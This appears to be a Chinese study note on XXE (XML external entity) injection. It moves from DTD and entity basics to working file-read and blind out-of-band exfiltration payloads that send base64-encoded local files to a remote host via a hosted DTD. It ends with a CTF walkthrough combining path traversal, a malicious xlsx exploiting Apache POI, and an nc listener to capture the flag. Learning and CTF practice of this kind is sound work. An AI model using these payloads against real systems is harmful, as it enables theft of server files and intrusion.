XXE漏洞学习笔记

XXE

参考文章

名称	地址
一篇文章带你深入理解漏洞之 XXE 漏洞	https://xz.aliyun.com/t/3357
Web Hacking 101	https://wizardforcel.gitbooks.io/web-hacking-101/content/14.html
XXE学习之路STEP BY STEP	https://www.freebuf.com/column/156863.html
XXE漏洞学习	https://www.cnblogs.com/zhaijiahui/p/9147595.html
从XML相关一步一步到XXE漏洞	https://xz.aliyun.com/t/6887
Blind XXE经典payload引发的脑洞	http://gv7.me/articles/2018/think-about-blind-xxe-payload/

看完以上文章，下面内容的可以忽略了

下文中为了简便，使用 // 代表注释，实际上注释符为 

XML/DTD

XML（可扩展标记语言）：一种标记语言，类似于HTML，设计用来传输和存储数据。

DTD（文档类型定义）：定义 XML 文档的合法构建模块。简单来说就是规定 XML 的内容、格式

DTD示例：test.dtd 文件

<!ELEMENT person (name,sex,age,hobby)>  //定义了根元素 person，以及子元素 name、sex、age、hobby

<!ELEMENT name (#PCDATA)>        // 此处的 #PCDATA 代表 字符数据，是会被解析器解析的文本，这些文本将被解析器检查实体以及标记。

<!ELEMENT sex (#PCDATA)>

<!ELEMENT age (#PCDATA)>

<!ELEMENT hobby (#PCDATA)>

对应XML示例：test.xml文件

<?xml version="1.0"?>    //声明 XML 版本

<!DOCTYPE test SYSTEM "test.dtd">  //引用外部 DTD 实体,即外部声明

<person>                //以下的标签都已在test.dtd文件中定义

<name>R0oKi3</name>

<sex>male</sex>

<age>unknow</age>

<hobby>female</hobby>

</person>

当然也可以将两个文件内容写到一起：combination.xml 文件

写法稍有区别



<?xml version="1.0"?>

<!DOCTYPE test [                //内部声明

  <!ELEMENT person (name,sex,age,hobby)>

  <!ELEMENT name (#PCDATA)>

  <!ELEMENT sex (#PCDATA)>

  <!ELEMENT age (#PCDATA)>

  <!ELEMENT hobby (#PCDATA)>

]>

<person>

<name>R0oKi3</name>

<sex>male</sex>

<age>unknow</age>

<hobby>female</hobby>

</person>

实体：

1.内部实体

<!ENTITY 实体名称 "实体的值">

2.外部实体，注意不要跟引用外部文件<!DOCTYPE test SYSTEM "test.dtd"> 搞混淆了

<!ENTITY 实体名称 SYSTEM "URI">

其中 URL 处还可使用各种协议，例如

<!ENTITY test SYSTEM "file:///c:/windows/system.ini">

<!ENTITY test SYSTEM "http://www.evil.com/evil.dtd">

<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini" >

各种环境中的协议有：

libxml2	PHP	JAVA	.NET
file	file	file	file
ftp	ftp	ftp	ftp
http	http	http	http
	php
	https	https
	compress.zlib	jar
	compress.bzips	netdoc
	data	mailto
	glob	gopher *
	phar

3.通用实体

用 &实体名; 引用的实体，他在 DTD 中定义，在 XML 文档中引用

定义：<!ENTITY name "value">，引用：&name;

示例代码：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE test [<!ENTITY info "hacked by xxe"> ]>     //注意，此时是 ENTITY 而不是 ELEMENT

<test>

    &info;  //这里的 &info; 在解析的时候会替换成为 "hacked by xxe"

</test>

4.参数实体：

(1)使用 % 实体名;(这里面空格不能少) 在 DTD 中定义，并且只能在 DTD 中使用 %实体名; 引用

(2)只有在 DTD 文件中，参数实体的声明才能引用其他实体

(3)和通用实体一样，参数实体也可以外部引用

定义：

<!ENTITY % 实体名称 “实体的值”>

或者

<!ENTITY % 实体名称 SYSTEM “URI”>

引用：%test;

示例代码：

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">

<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">

%an-element;         //解析之后成为 <!ELEMENT mytag (subtag)>，此时会将其识别为一个定义元素标签的代码，而不是简单的字符串

%remote-dtd;        //解析之后获取远程的 dtd 文件，就跟 html 中引入外部 js 文件差不多,会执行外部文件里的内容

XXE示例

为什么会出现 XXE 漏洞？问题就出在可以引用外部实体（文件）上面。

情况一：有网页回显

方法：直接冲

当传入的 XML 代码为以下内容时：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE hack [

<!ENTITY info SYSTEM "file:///c:/windows/system.ini"> ]>

<hack>&info;</hack>

在有网页回显的地方，会将 c:/windows/system.ini 文件内容进行输出。

但是当改文件中出现一些特殊字符，如 <、 >、 / 、<script>等，在解析时会报错，因为此时的<hack>&info;</hack>

变成了<hack> <、 >、 / 、<script> </hack>,解析出错

解决办法：

1.用实体引用代替特殊字符，例如将 < 替换成 < 。当然在进行 XXE 攻击的时候显然不可能，你的目标不可能这么贴心，自动帮你编码

2.使用 CDATA 包裹

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE roottag [

<!ENTITY % start "<![CDATA[">

<!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini">

<!ENTITY % end "]]>">

<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">        //可以将这个文件放在远程主机上面

%dtd; ]>

<roottag>&all;</roottag>                //此时在解析完参数实体之后，&all; 就代表着 <![CDATA[ c:/windows/system.ini 文件的内容 ]]>，即使文件里有特殊字符也没关系

evil.dtd 文件

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY all "%start;%goodies;%end;">

情况二：无回显

方法：间接冲

由于 xml 可以发起网络请求，于是便可以将数据外带出去

远程 vps 上的 test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1/msg/getmsg.php?msg=%file;'>">

传输的 xml payload

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE TEST [

<!ENTITY % remote SYSTEM "http://127.0.0.1/msg/test.dtd">

%remote;%int;%send;

]><TEST/>

至于为什么一定要借助远程vps上的dtd文件，大致原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。

XXE还可以干什么

内网主机探测、内网主机端口扫描、文件上传等等，点击传送门

存在 XXE 漏洞的点

一般传简历、个人信息的地方

抓包看数据中有没有用标签包裹的数据

CTF题复现----javafile

题目地址：2020网鼎杯青龙组javafile

1.首先打开网页，有一个上传功能，任意上传一个文件，跳转到下载页，点击下载，抓包，发现存在目录穿越，任意文件下载

2.通过报错发现网页绝对路径 /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

3.通过绝对路径下载配置文件 web.xml /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"

         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"

         version="4.0">

    <servlet>

        <servlet-name>DownloadServlet</servlet-name>

        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>      //第一个类class

    </servlet>

    <servlet-mapping>

        <servlet-name>DownloadServlet</servlet-name>

        <url-pattern>/DownloadServlet</url-pattern>

    </servlet-mapping>

    <servlet>

        <servlet-name>ListFileServlet</servlet-name>

        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>      //第二个类class

    </servlet>

    <servlet-mapping>

        <servlet-name>ListFileServlet</servlet-name>

        <url-pattern>/ListFileServlet</url-pattern>

    </servlet-mapping>

    <servlet>

        <servlet-name>UploadServlet</servlet-name>

        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>      //第三个类class

    </servlet>

    <servlet-mapping>

        <servlet-name>UploadServlet</servlet-name>

        <url-pattern>/UploadServlet</url-pattern>

    </servlet-mapping>

</web-app>

4.下载三个类文件

../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

5.jd-gui-1.6.6.jar进行反编译class文件

jd-gui-下载地址

6.1 首先在 DownloadServlet.class 的源代码发现

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    String fileName = request.getParameter("filename");

    fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");

    System.out.println("filename=" + fileName);

    if (fileName != null && fileName.toLowerCase().contains("flag")) {

      request.setAttribute("message", ");

      request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);

      return;

    }

表明这里不能下载文件名带 flag 字符串的文件，这也就解释了既然存在任意文件下载为什么不直接下载 flag 文件

6.2 然后看到 UploadServlet.class

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))

          try {

            Workbook wb1 = WorkbookFactory.create(in);

            Sheet sheet = wb1.getSheetAt(0);

            System.out.println(sheet.getFirstRowNum());

          } catch (InvalidFormatException e) {

            System.err.println("poi-ooxml-3.10 has something wrong");

            e.printStackTrace();

          }

大佬说可能是Apache POI XML外部实体漏洞

然后我们便可以构造 XXE 漏洞，注意代码里面规定了文件名格式，以 excel- 开头，并且是 xlsx 类型文件

7.利用 xlsx 文件构成远程 xxe

新建一个 excel-xxe.xlsx 文件，解压

修改解压后的 [Content_Types].xml 文件的内容为：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE TEST [

<!ENTITY % remote SYSTEM "http://127.0.0.1/msg/test.dtd">

%remote;%int;%send;

]><TEST/>

远程 vps 上的 test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1/msg/getmsg.php?msg=%file;'>">

然后再给压缩还原一下成 excel-xxe.xlsx

注意点：由于buu上的靶机不能访问外网，所以要用buu提供的 frps 服务器，请看具体教程

8.在 vps 上启动监听 nc -lvvp 6666

9.上传 excel-xxe.xlsx 文件，查看nc监听结果，得到flag

为什么老是要在远程主机上弄一个 dtd 文件

Blind XXE经典payload引发的脑洞

解决办法

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE roottag [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">

<!ENTITY % all "<!ENTITY send 'http://127.0.0.1/?%file;'>">

%all;

]>

<roottag>&send;</roottag>